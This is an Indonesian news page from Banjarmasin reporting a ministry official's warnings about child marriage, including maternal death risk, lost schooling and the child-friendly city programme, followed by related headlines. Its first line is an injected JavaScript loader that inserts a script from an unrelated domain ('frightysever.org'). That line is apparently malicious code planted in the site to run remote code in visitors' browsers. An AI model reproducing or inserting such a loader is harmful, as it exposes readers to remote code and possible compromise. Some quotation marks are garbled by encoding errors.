(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Perkawinan anak memiliki dampak negatif bukan hanya pada yang bersangkutan, tetapi secara umum pada penurunan Indeks Pembangunan Manusia (IPM). Hal ini sebagaimana disampaikan oleh Asisten Deputi Menteri Bidang Tumbuh Kembang Anak Kementerian Pemberdayaan Perempuan dan Perlindungan Anak, Rohika Kurniadi.
“Dampak paling fatal dalam perkawinan usia anak adalah kehamilan dan persalinan dini, karena berhubungan dengan Angka Kematian Ibu (AKI) yang tinggi dan keadaan tidak normal bagi ibu yang belum sepenuhnya matang untuk melahirkan,†jelasnya dalam acara Kampanye Stop Perkawinan Anak, di Gedung Mahligai Pancasila, Rabu (13/12).
Dia mengatakan, anak perempuan usia 10-14 tahun memiliki risiko 5 x lebih besar untuk meninggal dalam kasus kehamilan dan persalinan daripada perempuan usia 20-24 tahun. Dan secara global, kematian yang disebabkan oleh kehamilan terjadi pada anak perempuan usia 15-19 tahun.
“Sebelum membenahi masalah AKI dan AKB yang tinggi, meningkatkan kualitas pendidikan dan IPM Indonesia, seharusnya kita benahi inti dari permasalahan tersebut terlebih dahulu, yaitu perkawinan anak,” terang Rohika Kurniadi.
Menurut dia, walaupun terjadi penurunan kasus perkawinan anak yang di tahun 2013 sekitar 43,19% dan berkurang menjadi 34,23% di tahun 2014. Penurunan ini secara kuantitatif belum terlihat signifikan.
Resiko lain yang tidak dapat diabaikan adalah hilangnya kesempatan untuk mendapatkan pendidikan, resiko ancaman dari penyakit reproduksi seperti kanker servick, kanker payudara dan juga hidup dalam kegaduhan keluarga karena ketidaksiapan mental mereka dalam membangun keluarga, sehingga menimbulkan perceraian
Melindungi anak dari praktik perkawinan ini tidak hanya menjadi tanggung jawab KPPPA saja, namun membutuhkan peran serta dari empat pilar pembangunan yaitu lembaga masyarakat, dunia usaha, maupun media massa.
“Peran serta masyarakat sangat diperlukan, hal ini sesuai dengan mandat dari Undang-Undang No.23 Tahun 2002 dan UndangUndang No.35 Tahun 2014 tentang Perubahan Atas UU No.23 Tahun 2002 tentang Perlindungan Anak dalam Pasal 72 yang disebutkan bahwa masyarakat berperan serta dalam perlindungan anak, baik secara perseorangan maupun kelompokâ€Â imbuh Rohika.
KPPPA telah melakukan sejumlah upaya untuk menghentikan pernikahan anak salah satunya diintegrasikan lewat program Kabupaten dan Kota Layak Anak. Terdapat 31 indikator yang dijabarkan dari konvensi hak anak yang harus dipenuhi untuk menjadi kota layak anak. Salah satunya, angka usia perkawinan pertama di bawah 18 tahun. (achi)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.